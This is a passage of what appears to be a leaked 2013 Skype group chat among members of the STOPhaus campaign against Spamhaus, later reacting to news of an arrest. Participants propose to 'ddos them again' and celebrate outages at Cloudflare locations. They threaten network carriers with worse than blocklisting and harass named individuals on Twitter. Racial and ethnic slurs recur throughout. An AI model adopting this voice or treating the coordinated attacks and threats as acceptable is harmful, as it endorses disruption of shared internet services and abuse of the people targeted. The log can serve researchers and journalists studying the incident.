like the US. [22.03.2013 06:26:02] narko: if ahnames doesn't approve the transfer it will be completed after 5 full business days [22.03.2013 06:26:17] edataking: they will approve it [22.03.2013 06:26:22] edataking: why wouldn't they [22.03.2013 06:26:27] narko: idk [22.03.2013 06:26:35] edataking: that would be really st00pid [22.03.2013 06:26:36] narko: when people transfer in domains to me [22.03.2013 06:26:37] narko: my experience is [22.03.2013 06:26:42] narko: it takes less than a day usually [22.03.2013 06:26:46] edataking: yep [22.03.2013 06:26:48] narko: if they old registrar doesnt approve it [22.03.2013 06:26:51] narko: it takes 5 full days [22.03.2013 06:27:16] edataking: then if they suspend it tomorrow claiming we didn't transfer it what do we do? [22.03.2013 06:27:22] edataking: wait and focus on the real goal? [22.03.2013 06:27:29] narko: ddos them again [22.03.2013 06:27:43] edataking: I don't want the brand to be tarnished because SPamhaus will just say they won if the public thinks it is down [22.03.2013 06:27:54] edataking: ok, then we'll hope all goes well [22.03.2013 06:28:05] narko: put the site offline and say spamhaus is ddosing it [22.03.2013 06:28:07] narko: lol [22.03.2013 06:28:11] edataking: I hate when people are caught between SH and the right thing to do. [22.03.2013 06:28:23] edataking: That's exactly what extortion is [22.03.2013 06:29:11] edataking: let me catch up on the twitter feed and then add some more data to the forum. ttyl [22.03.2013 06:30:14] narko: bye [22.03.2013 06:36:57] edataking: I'll be here if needed though [22.03.2013 08:14:21] edataking: getting a 504 on forum [22.03.2013 08:14:32] edataking: seems to be lagging [22.03.2013 08:15:19] edataking: 100% packet loss [22.03.2013 08:15:46] edataking: yep, lagging like a mofo [22.03.2013 08:16:08] nmetluk: Morning gentelmen:) [22.03.2013 08:16:13] edataking: morning [22.03.2013 08:16:21] edataking: have you read today's PR? [22.03.2013 08:16:39] nmetluk: Not yet [22.03.2013 08:20:21] Yuri: give us links [22.03.2013 08:20:31] Yuri: vocility got escallations a lit bit [22.03.2013 08:20:41] Yuri: domains transfer to nic.ru is in progress [22.03.2013 08:21:02] edataking: :) [22.03.2013 08:21:06] edataking: http://pastebin.com/56ickG0c [22.03.2013 15:43:17] valeralelin: Spamhaus will live? [22.03.2013 16:13:00] wmsecurity: [14:50:09] <Андрей (AH)> здесь? [14:50:25] <Андрей (AH)> домены собираетесь переносить? [14:52:27] <Андрей (AH)> у вас есть время до 16.00 GMT [22.03.2013 16:13:13] wmsecurity: this asshole thinks he can threaten us or what? [22.03.2013 16:13:44] Alex Optik: who is he? [22.03.2013 16:13:48] Alex Optik: hoster? [22.03.2013 16:13:52] wmsecurity: the domain registrar [22.03.2013 16:13:58] Alex Optik: ahh [22.03.2013 16:21:07] edataking: what is this about? [22.03.2013 16:21:15] edataking: why is he threatening anyone [22.03.2013 16:21:29] edataking: there is one domain in that account now and no one cares about them terminating it. [22.03.2013 16:21:34] edataking: So, what is his deal? [22.03.2013 16:22:07] edataking: As long as he suspends it, I will just backorder [22.03.2013 16:22:22] wmsecurity: thats not good since we will be down again [22.03.2013 16:24:04] edataking: I am confused, how is it that the new registrar sends me an email telling me that the transfer is completed and you are telling me it is not [22.03.2013 16:24:10] edataking: what is whois saying [22.03.2013 16:24:38] edataking: yeah, it still says evonames [22.03.2013 16:24:43] wmsecurity: yeah [22.03.2013 16:24:46] wmsecurity: thats the issue [22.03.2013 16:24:53] wmsecurity: can you fwd me the nic.ru mail? [22.03.2013 16:24:57] wmsecurity: admin@off-sho.re [22.03.2013 16:26:53] edataking: There is a second email saying something about the Contract has been referred to a RU Partner Center [22.03.2013 16:27:27] wmsecurity: we mustnt let it be held again [22.03.2013 16:27:32] edataking: I don't know how this Russian registrar is working and my lack of wisdom here is harming us because I do not know what to do or what they are talking about in these emails [22.03.2013 16:27:39] edataking: I forwarded you one already [22.03.2013 16:30:10] wmsecurity: ok i see where the misunderstanding comes from [22.03.2013 16:30:25] wmsecurity: this email only says that another person had been granted to use the nic.ru account [22.03.2013 16:38:28] wmsecurity: Yuri, please solve it since its your nic.ruaccount [22.03.2013 16:55:05] Yuri: i just back. i will check it in 60 mins [22.03.2013 16:55:10] Yuri: lit busy [22.03.2013 20:24:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: this here is the old one [22.03.2013 20:26:34] nmetluk: :$ [22.03.2013 20:27:18] eDataKing: oh yeah, forgot about this place because of lack of participation. [22.03.2013 20:27:28] eDataKing: Is there any reason to keep this group active? [22.03.2013 20:27:41] Валерий Лёлин: no any voice chats [22.03.2013 20:28:08] eDataKing: I think I am going to head out of here. See everyone on the forum :) [22.03.2013 20:28:18] *** eDataKing quit *** [22.03.2013 20:29:27] Yuri: may be only for some history if we need. [22.03.2013 21:01:14] Mastermind of Possibilities: here is the old what? [22.03.2013 21:01:20] Mastermind of Possibilities: so irc is gone eh? [22.03.2013 21:13:02] Yuri: we are in new one chat [22.03.2013 21:13:13] Yuri: all active persons there. [23.03.2013 02:30:25] Mastermind of Possibilities: ok that is good. I didnt like the silent people [23.03.2013 07:05:50] Mastermind of Possibilities: Down again? [23.03.2013 07:06:10] narko: who? [23.03.2013 07:06:33] Mastermind of Possibilities: stophaus [23.03.2013 07:06:35] Mastermind of Possibilities: down [23.03.2013 07:06:39] Mastermind of Possibilities: what happened this time? [23.03.2013 07:11:40] Mastermind of Possibilities: Its back up [23.03.2013 10:43:26] *** Andrei Stanchevici quit *** [23.03.2013 16:41:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its running into the 95% percentile bandwith billing on cloudflare's transits atm [23.03.2013 16:41:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and cloudflare has network issues, so at some point they'll have to boot spamhaus as it affects their other clients [23.03.2013 16:42:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at which point, spamhaus has nowhere else to go that can cover them :P [23.03.2013 16:42:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i doubt google is stupid enough to take them lol :P [23.03.2013 16:42:22] narko: how do you know? [23.03.2013 17:03:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement TheSTOPhaus Movement '@stophaus 34s You know, being listed on #spamhaus their illegal slander list, actually brings in fucktons of clients. thank you @spamhaus! Expand TheSTOPhaus Movement TheSTOPhaus Movement '@stophaus 7m All of us are Andrew Sven Olaf von CyberBunker, a Russian Spammer from CyberBunker, in Ohio, which is in Russia. obviously. @spamhaus [23.03.2013 17:03:42] narko: lol [23.03.2013 17:05:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement TheSTOPhaus Movement '@stophaus now @spamhaus what is your mindfuck? don't like russians? every time you try to accuse someone of something they're suddenly 'russian' [23.03.2013 17:06:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement TheSTOPhaus Movement '@stophaus now @spamhaus inform putin that actually we would not mind a set of russian passports for all of us, would make a nice addition. [23.03.2013 17:06:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz [23.03.2013 17:06:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fuck em :P [23.03.2013 17:07:44] narko: (chuckle) [23.03.2013 17:08:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement TheSTOPhaus Movement '@stophaus now @cloudflare, is keeping up the criminal spamhaus slander and blackmail project really worth the impact on paying customers? [23.03.2013 17:09:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement '@stophaus 5s @cloudflare ... so .. how did @spamhaus 'motivate' you to proxy them? 'we'll list your entire networks if you don't?' [23.03.2013 17:39:28] Cali: eheh, it is so strange that to me it works perfectly. [23.03.2013 17:40:04] Antitheist: it depends on your anycast location [23.03.2013 17:40:21] Antitheist: afaik UK telia and equinix france should be down [23.03.2013 17:42:42] Antitheist: @CloudFlare is not functioning in Rome, Italy, and parts of Germany. DavidHenderson 17:38web [23.03.2013 17:43:38] narko: (highfive) [23.03.2013 17:45:30] Antitheist: Rome? good, vatican left without pr0n [23.03.2013 17:53:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement TheSTOPhaus Movement '@stophaus 27s @RNTata2000 @tata_comm now turn on AS34109 again, with EVERYTHING behind it... and send legal dept in the uk to file charges on spamhaus. [23.03.2013 17:53:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement '@stophaus 3m @RNTata2000 , @tata_comm so, you think its normal that the nerds in your NOC let your multinational be blackmailed by offshore spamhaus. [23.03.2013 17:53:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: blatant abuse of the corporate twitter account to solve issues with our suppliers haha [23.03.2013 17:53:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [23.03.2013 17:53:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i'd say that should get their attention [23.03.2013 17:53:51] narko: (flex) [23.03.2013 17:54:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: seing that they don't have that much capacity outside of india lol [23.03.2013 17:54:21] narko: who is this paki [23.03.2013 17:54:24] narko: Ratan N Tata [23.03.2013 17:54:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he is the owner of tata [23.03.2013 17:54:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ex-chairman [23.03.2013 17:54:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the heir to the guy that started tata (and owns half of india ;) [23.03.2013 17:55:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well all of india actually [23.03.2013 17:55:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [23.03.2013 17:55:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he pretty much owns everything in india haha [23.03.2013 17:55:25] narko: lol [23.03.2013 17:55:32] Cali: so cb3rob is coming back? [23.03.2013 17:55:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and im quite sure that he's not aware of some dusty nerds in his noc allowing his empire to be blackmailed by 'the spamhaus project' on the bahamas [23.03.2013 17:55:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [23.03.2013 17:55:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: cali: guess so [23.03.2013 17:55:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ofcourse [23.03.2013 17:56:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if tata doesn't reconnect out of their own free will we can always make sure they understand there are worse things than a few sbl listings :P [23.03.2013 17:56:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: same for tinet :P [23.03.2013 17:56:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [23.03.2013 17:57:04] Yuri: may be we can say that it's bad idea to disconnect somebody becouse spamhaus> [23.03.2013 17:57:11] Yuri: so they can select ddos or spamhaus ? [23.03.2013 17:57:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: "with everything behind it" includes all of your asn's btw :P [23.03.2013 17:57:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well in business terms its a rather bad idea if your nerds in your noc cave in to the fucktard demands of random offshore limiteds [23.03.2013 17:57:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: when you have offices full of legal department attorneys [23.03.2013 17:57:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that can take care of the offshore limited [23.03.2013 17:57:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [23.03.2013 17:57:55] Yuri: Sven, on our location we got new upstreams added. So we soon could make multiple connections to all [23.03.2013 17:58:17] narko: http://www.spamhaus.org/sbl/latest/ [23.03.2013 17:58:26] narko: 108.162.193.0/32 cloudflare.com OUT [23.03.2013 17:58:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: bet theylisted twitter.com now :P [23.03.2013 17:58:34] narko: "thank you cloudflare for not kicking us" [23.03.2013 17:59:14] Yuri: where did they list twitter ? [23.03.2013 18:01:44] narko: Network Jesus '@networkjesus 1m whoa #CloudFlare dead? [23.03.2013 18:01:50] narko: oops. LAX just went down. !! :D [23.03.2013 18:03:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement TheSTOPhaus Movement '@stophaus now oops. LAX just went down. !! :D sorry bout that. better disconnect @spamhaus [23.03.2013 18:03:20] narko: what happens if you attack peering? [23.03.2013 18:03:22] narko: see this [23.03.2013 18:03:27] narko: 2 core55.INET.telecoms.bg (88.213.213.9) 1.150 ms 1.055 ms 0.889 ms 3 border2.telecoms.bg (217.79.95.66) 0.719 ms 1.127 ms 1.040 ms 4 border1.telecoms.bg (217.79.78.229) 1.163 ms 1.078 ms 1.634 ms 5 xe-5-1-0-207.sof-003-score-1-re1.interoute.net (195.81.49.49) 9.204 ms 9.178 ms 9.140 ms 6 ae2-0.bud-001-score-1-re1.interoute.net (84.233.193.198) 38.613 ms 38.142 ms 38.035 ms 7 ae2-0.prg-001-score-2-re1.interoute.net (84.233.138.213) 67.319 ms 67.252 ms 67.169 ms 8 ae0-0.prg-001-score-1-re0.interoute.net (84.233.138.205) 30.261 ms 30.654 ms 30.663 ms 9 ae2-0.fra-006-score-2-re0.interoute.net (84.233.138.210) 38.313 ms 38.193 ms 38.067 ms 10 edge01.fra01.cloudflare.com (80.81.194.180) 41.603 ms 41.504 ms 41.411 ms 11 141.101.113.216 (141.101.113.216) 38.606 ms 38.527 ms 39.093 ms [23.03.2013 18:03:39] narko: edge01.fra01 is de-cix [23.03.2013 18:11:33] Cali: https://www.cloudflare.com/system-status [23.03.2013 18:11:47] Cali: only two of their POP show degradation. [23.03.2013 18:12:23] narko: yes but it's enough to make many people unable access [23.03.2013 18:12:43] Cali: I wish I would be unable to access as well though :) [23.03.2013 18:13:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement '@stophaus 7m @jamessenase Does your employer know you were recently a fugitive?http://po.st/XhcO5q [23.03.2013 18:13:06] narko: send me a traceroute and i will try [23.03.2013 18:13:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha [23.03.2013 18:13:26] narko: by the way. i can't load system status [23.03.2013 18:13:30] narko: Sorry, www.cloudflare.com is currently unavailable. Please try again soon. [23.03.2013 18:13:32] narko: (yawn) [23.03.2013 18:13:57] Cali: 6. ae3.scr4.FRA4.gblx.net 0.0% 11 32.4 32.4 32.4 32.6 0.1 7. lag2.ar4.fra4.gblx.net 0.0% 11 31.9 33.1 31.8 39.1 2.4 8. ??? 9. ??? 10. 141.101.123.216 0.0% 11 32.5 32.5 32.1 32.7 0.2 [23.03.2013 18:14:06] Yuri: make screenshort [23.03.2013 18:14:10] Yuri: and upload to twitter [23.03.2013 18:14:19] Yuri: stophaus fucklinford [23.03.2013 18:15:44] narko: @stophaus I can't imagine AS34109 will ever see the Internet again after all networks know Kamphius is the criminal did DDoS on @CloudFlare [23.03.2013 18:15:55] narko: james (wait) [23.03.2013 18:18:58] Cali: 3549 4436 13335 13335 13335, (aggregated by 13335 141.101.69.1) [23.03.2013 18:19:00] Cali: Interesting. [23.03.2013 18:23:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement '@stophaus now CB3ROB-CyberBunker, the best ISP in the world, as stated by SpamHaus! strict provider immunity and only disconnects with a court order! [23.03.2013 18:23:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [23.03.2013 18:24:01] narko: my server is offline [23.03.2013 18:24:01] narko: almost [23.03.2013 18:24:08] narko: it up and down [23.03.2013 18:24:20] narko: :^) [23.03.2013 18:26:02] Yuri: at ecatel? [23.03.2013 18:26:28] narko: no. DH.ua [23.03.2013 18:26:44] Yuri: sec [23.03.2013 18:26:50] Yuri: i ask your hosting boss [23.03.2013 18:27:07] narko: i will ask him :P i have his icq [23.03.2013 18:27:09] narko: http://www.webhostingtalk.com/showpost.php?p=8613162&postcount=15 maybe blacklotus wants to try hosting spamhaus ? ;) [23.03.2013 18:30:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement '@stophaus 7s omg we're gonna need a bigger internet to route the ddos to @spamhaus when more ppl wake up and start to fire their las0rs. [23.03.2013 19:29:57] Mastermind of Possibilities: What type of attack is this anyhow? [23.03.2013 19:30:42] narko: dennis hegstad '@dennishegstad 57s @CloudFlare what is your return / cancelation policy? My site has had more downtime since adding your service [23.03.2013 19:30:47] narko: udpa ttack [23.03.2013 19:30:55] Mastermind of Possibilities: Lols [23.03.2013 19:33:15] Mastermind of Possibilities: Oops lol [23.03.2013 20:28:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:https://greenhost.nl/2013/03/21/spam-not-spam-tracking-hijacked-spamhaus-ip/*replied* [23.03.2013 20:30:28] Yuri: It seems clear that the CB3ROB network hijacked one (or more) of the IP addresses of Spamhaus, and installed a DNS server there which incorrectly returns positive results to every query (y) [23.03.2013 21:53:43] narko: Matthew Prince '@eastdakota 3m @alanstott @CloudFlare usually whoever is the criminal is the one who ends up in jail in the end. Guess we'll see... [23.03.2013 21:53:49] narko: we'll all be cellmates, ok? [23.03.2013 21:58:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz [24.03.2013 13:18:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well :P spamhaus has been shouting that we're criminals for the past 10 years or so... so far he's the one with an open invitation to a chinese labour camp :P [24.03.2013 13:33:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: . [24.03.2013 16:37:02] simomchen: simomchen: <<< CF start to can handle the attack traffice from today they announcing a email at ams-ix Hello AMS-IX Peers, We're currently seeing a very large attack directed to our IP on AMS-IX (195.69.147.140). We request that all peers: 1) Don't carry this route (195.69.144.0/22) in your backbone. (you can set next-hop-self, etc). It'll save other security concerns and possible free transit you're giving away to others. 2) Filter any traffic within to the AMS-IX exchange fabric (again, 195.69.144.0/22), except for your point to [multi]point BGP communications. [24.03.2013 16:37:36] nmetluk: Боян)) [24.03.2013 16:37:55] wmsecurity: )) [24.03.2013 16:38:15] simomchen: so , keep going , they will , xxxxx [24.03.2013 16:38:23] wmsecurity: meaning: old, outofdated known info [24.03.2013 17:07:39] narko: ненавижу америку [24.03.2013 17:07:44] narko: американцы такие тупые и толстые [24.03.2013 17:07:57] Yuri: yes. it is, there are a lot such people. [24.03.2013 23:41:17] *** Mastermind of Possibilities quit *** [25.03.2013 19:28:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: HAHA [25.03.2013 19:28:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: guess he just knows a lot of niggas then [25.03.2013 19:28:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [25.03.2013 20:10:30] narko: who? [25.03.2013 20:28:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 3 days ago [25.03.2013 20:28:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fucking skype still loading the chat again :P [25.03.2013 20:28:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: takes ages every time i reboot :P [25.03.2013 21:12:51] narko: hmmmm? [25.03.2013 21:12:56] narko: i dont understnad what you talking about [25.03.2013 21:12:57] narko: lol [25.03.2013 21:23:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well... every time i reboot/log out/log in... obviously the entire homedir is gone :P [25.03.2013 21:23:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not -that- stupid to leave customer conversations around on workstations lol [25.03.2013 21:24:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: however it takes fucking ages to load the chat groups again [25.03.2013 21:24:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and it doesn't have a date -in front- of the timestamp [25.03.2013 21:24:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so sometimes i think its done and reply to whatever was said last :P [25.03.2013 21:24:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and then it goes tsjoep tsjoep tsjoep again [25.03.2013 21:24:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with another few days or so [25.03.2013 21:24:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [25.03.2013 21:24:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the packetloss and half routing don't exactly help either :P [25.03.2013 21:24:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: *grin* [25.03.2013 21:28:41] narko: (doh) [25.03.2013 21:29:04] narko: how to report packetloss to china telecom? [25.03.2013 21:29:16] narko: 5. xe-5-0-0.lax20.ip4.tinet.net 0.0% 411 12.0 15.6 11.9 97.1 11.4 6. 219.158.33.49 22.4% 411 180.6 185.5 179.2 235.0 9.8 7. 219.158.27.9 32.8% 411 192.2 180.8 174.4 250.9 17.4 8. 219.158.97.1 27.3% 411 175.1 181.2 174.5 248.6 18.0 9. 219.158.3.105 26.1% 411 166.1 168.0 165.9 204.5 4.9 10. 219.158.99.246 26.3% 410 204.2 210.8 203.1 277.7 19.0 11. 221.6.2.170 25.9% 410 200.7 201.1 197.2 217.7 4.9 12. 58.240.67.94 23.9% 410 205.3 202.3 198.0 236.0 7.2 13. 112.86.149.224 23.9% 410 230.9 216.0 199.1 301.6 20.0 [25.03.2013 21:30:54] Antitheist: traceroute google.com > log.txt | mailmao@npc.gov.cn [25.03.2013 21:30:58] Antitheist: should be fine... [25.03.2013 21:31:13] narko: lol [25.03.2013 21:31:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [25.03.2013 21:32:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i cannot reach this zionist capitalist piece of filth propaganda! [25.03.2013 21:33:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its amazing how spamhaus doesn't even show up in our bing results :P [25.03.2013 21:33:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and in google its all over the place [25.03.2013 21:33:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [25.03.2013 21:33:37] narko: my datacenter says they won't help, although if the traffic takes another path (NOT tinet) into china there is no loss [25.03.2013 21:33:40] narko: :| [02:43:30] *** narko quit *** [02:46:48] *** HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP quit *** [---] The Skype chat goes quiet at this point and resumes four weeks later [---] [26.04.2013 18:36:32] Hephaistos: guys [26.04.2013 18:36:49] Hephaistos: I just got noticed in the news that sven got arrested [26.04.2013 18:39:39] Валерий Лёлин: where in the new [26.04.2013 18:39:39] Валерий Лёлин: news [26.04.2013 18:40:40] Hephaistos: http://translate.google.be/translate?sl=nl&tl=en&u=http%3A%2F%2Fwww.telegraaf.nl%2Fbinnenland%2F21518021%2F__Nederlander_aangehouden_in_Spanje_vanwege_cyberaanvallen__.html [26.04.2013 18:40:43] Hephaistos: dutch news [26.04.2013 18:45:05] Hephaistos: his large-scale DDoS attacks last month were also performed on Spamhaus partners in the Netherlands, the United States and Great Britain. The attackers were using fake IP addresses. As yet, no evidence that the cyber attack on Spamhaus related to the attacks are later deployed to include banks, payment system iDeal and DigiD. The house of the suspect, who lives in Barcelona, ??is examined. Is expected to K. transferred to the Dutch Public Prosecution Service. [26.04.2013 19:12:40] Hephaistos: http://translate.google.be/translate?sl=nl&tl=en&u=http%3A//www.om.nl/actueel/nieuws-persberichten/@160856/nederlander/ [26.04.2013 19:18:48] The STOPhaus Movement: I thought something was wrong [26.04.2013 19:19:02] The STOPhaus Movement: is he arrested or just being searched and forensics? [26.04.2013 19:19:13] Hephaistos: arrested [26.04.2013 19:19:19] The STOPhaus Movement: [26.04.2013 19:19:21] Hephaistos: as far as I can see. [26.04.2013 19:19:33] Hephaistos: it goes off in twitter [26.04.2013 19:19:39] The STOPhaus Movement: everyone else is ok though right? [26.04.2013 19:19:45] Hephaistos: on irc anonops there is a channel #freecb3rob [26.04.2013 19:19:54] Hephaistos: https://twitter.com/freecb3rob [26.04.2013 19:20:06] Hephaistos: well I have not seen Narko for 2 days. [26.04.2013 19:20:16] The STOPhaus Movement: [26.04.2013 19:20:27 |changed 19:20:34] The STOPhaus Movement: we need an update from him [26.04.2013 19:20:59] The STOPhaus Movement: narko is never offline that long [26.04.2013 19:21:26] Hephaistos: thing is that I cannot connect to his irc server either. [26.04.2013 19:21:56] The STOPhaus Movement: I thought anonops was talking shit about Sven promoting CB via STOP when I saw the chatroom? [26.04.2013 19:22:12 | changed 19:22:22] The STOPhaus Movement: Now there is a channel. I am glad, but that's some flip-flop stuff right there [26.04.2013 19:22:14] Hephaistos: well I created the channel [26.04.2013 19:22:22] Hephaistos: if they have a problem with me .. bring it on [26.04.2013 19:22:22] The STOPhaus Movement: oh ok [26.04.2013 19:22:29] The STOPhaus Movement: lulz [26.04.2013 19:22:40] The STOPhaus Movement: Self-righteous assholes [26.04.2013 19:28:44] Cali: Sven from cb3rob has been arrested. [26.04.2013 19:40:19] Hephaistos: Sven = cb3rob [26.04.2013 19:40:47] Cali: yeah [26.04.2013 19:40:49] Cali: so he's been stopped [26.04.2013 19:40:52] Cali: in Spain. [26.04.2013 19:40:57] Hephaistos: yes [26.04.2013 19:41:05] NM: Is it truth? Not fake? [26.04.2013 19:41:13] Cali: it is in dutch news. [26.04.2013 19:41:16] Hephaistos: it is truth [26.04.2013 19:41:21] Hephaistos: and all over twitter [26.04.2013 19:43:13] Hephaistos: https://twitter.com/search?q=%23freecb3rob&src=hash [26.04.2013 20:27:00] Hephaistos: http://www.ibtimes.co.uk/articles/461848/20130426/spamhaus-suspect-arrests-spain-kamphuis.htm [26.04.2013 20:29:30] Yuri: heh. [26.04.2013 20:30:07] Hephaistos: On twitter "Sven Olaf Kamphuis #freecb3rob possible source behind record braking 300gbps #DDos arrested. #Anonymous will now try and break that record!" [26.04.2013 20:32:31] Cali: So, it has made some PR for spamhaus. [26.04.2013 20:32:37] Cali: that sucks. [26.04.2013 20:34:06] Hephaistos: negative is still good. [26.04.2013 20:34:36] Cali: this information has gone to press and media. [26.04.2013 20:34:48] Cali: thus to the people [26.04.2013 20:34:58] Hephaistos: well once they read what stophaus is. [26.04.2013 20:35:05] Cali: who are at 90% dumb. [26.04.2013 20:35:09] Hephaistos: true [26.04.2013 20:35:14] Hephaistos: You got a point there [26.04.2013 20:35:15] Cali: So now that make them think that spamhaus is doing well. [26.04.2013 20:41:22] Hephaistos: pastebin.com/qzhcE1nV [26.04.2013 20:41:25] Hephaistos: more badnews [26.04.2013 20:41:56] Cali: Who has written that? [26.04.2013 20:42:09] Hephaistos: I have no idea. [26.04.2013 20:42:23] Hephaistos: its over the news everyone is freaking out [26.04.2013 20:42:25] Cali: It seems to have be written by a 12 years old. [26.04.2013 20:42:31] Cali: been* [26.04.2013 20:42:52] Hephaistos: correct, seems like a trol to me. But tell that to the media [26.04.2013 20:43:03] Hephaistos: and the 90% dumb people [26.04.2013 20:43:09] Cali: Also I don't understand. [26.04.2013 20:43:23] Cali: How is it possible to get such reflection in media by posting something on pastebin? [26.04.2013 20:43:37] Cali: So if I post that I am going to attack the U.S on pastebin, I would be in the news? [26.04.2013 20:43:58] Hephaistos: Well, thing is that people think that banks will be ddosed and cannot get their money. So their hoping that there will be a bankrun. [26.04.2013 20:44:45] Cali: It is very doubtful that DDoSing the website of a bank will prevent the bank from operating. [26.04.2013 20:46:45] Hephaistos: it will cost the bank money [26.04.2013 20:47:32] Cali: Maybe to crap bank. [26.04.2013 20:48:07] Cali: it will be insignifiant [26.04.2013 20:48:11] Cali: insignificant. [26.04.2013 18:21:36] Erik Bais: http://www.om.nl/actueel/nieuws-persberichten/@160856/nederlander/ [26.04.2013 18:26:15] Yuri: wtf [26.04.2013 18:26:42] Yuri: is that about sven? [26.04.2013 18:26:53] Erik Bais: looks like it. [26.04.2013 18:27:03] NM: what does it mean?))) [26.04.2013 18:28:17] Yuri: looks like some new that somebody got arrested becouse of some attacks of spamhaus... heh... looks spamhaus has long hands. [26.04.2013 18:29:49] Yuri: not so fine. [26.04.2013 18:31:11] Yuri: afk [26.04.2013 18:31:44] Yuri: Eric, can you call Sven and check if he is available? [26.04.2013 18:31:55] Erik Bais: yes. [26.04.2013 18:32:30] Erik Bais: I also just asked Twisted on Skype. he didn't knew about it.. He hasn't spoken to him yet today (he did yesterday) .. [26.04.2013 18:33:59] Erik Bais: his spanish nr is not working (I get a message in spanish .. ) could be because the number is off. [26.04.2013 21:51:16] Erik Bais: http://pastebin.com/qzhcE1nV [26.04.2013 21:51:51] Erik Bais: http://www.telegraaf.nl/binnenland/21518021/__Arrest_NL_er_cyberaanvallen__.html [26.04.2013 21:52:11] Erik Bais: http://tweakers.net/nieuws/88767/nederlander-opgepakt-voor-ddos-aanvallen-spamhaus.html [26.04.2013 21:53:32] Erik Bais: http://krebsonsecurity.com/2013/04/dutchman-arrested-in-spamhaus-ddos/ [26.04.2013 21:53:50] Yuri: shit is going on.. [26.04.2013 21:56:17] Erik Bais: where did the pastbin thing came from ? Any idea ? [26.04.2013 22:02:14] Yuri: don't know [26.04.2013 22:02:46] Yuri: may be we should use other system for chat? [26.04.2013 22:18:07] Erik Bais: they have taken all his phones, data carriers and servers / computers located in Spain.. [26.04.2013 22:18:24] WebExxpurts: what is patebin [26.04.2013 22:18:25] WebExxpurts: pastebin [26.04.2013 22:18:39] Erik Bais: [26 April 2013 21:51] Erik Bais: <<< http://pastebin.com/qzhcE1nV [26.04.2013 22:18:50] WebExxpurts: i mean who created that? [26.04.2013 22:19:21] Erik Bais: no idea. I got it pasted from someone.. and it is also linked in various media outings on the Netherlands. [26.04.2013 22:20:27] WebExxpurts: who is someone? that is interested [26.04.2013 22:20:33] WebExxpurts: what sven did? [26.04.2013 22:20:53] 